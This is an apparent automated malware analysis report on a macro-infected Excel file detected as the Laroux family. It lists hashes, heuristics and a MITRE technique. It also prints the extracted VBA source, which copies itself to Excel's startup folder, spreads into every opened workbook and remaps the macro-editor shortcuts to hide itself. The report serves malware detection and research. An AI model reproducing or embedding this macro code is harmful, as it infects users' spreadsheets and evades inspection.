Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3c38cd78a1ce7d3…

MALICIOUS

Office (OLE)

87.0 KB Created: 2011-04-09 06:56:34 Authoring application: Microsoft Excel First seen: 2015-10-01
MD5: 8f49cb52a927ea1c381ebc3f9219d510 SHA-1: 54bb63b47ab4d1d66878444f2711e356c060b5a4 SHA-256: e3c38cd78a1ce7d3c089acf7c7c2d3496984a05f73049403df88ce97800b5c6b
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains VBA macros, specifically an Auto_Open subroutine, which is designed to copy the malicious Excel file to the user's startup directory as 'StartUp.xls'. This action aims to achieve persistence by ensuring the macro runs automatically when Excel starts. The macro also attempts to hook Excel events to maintain its presence.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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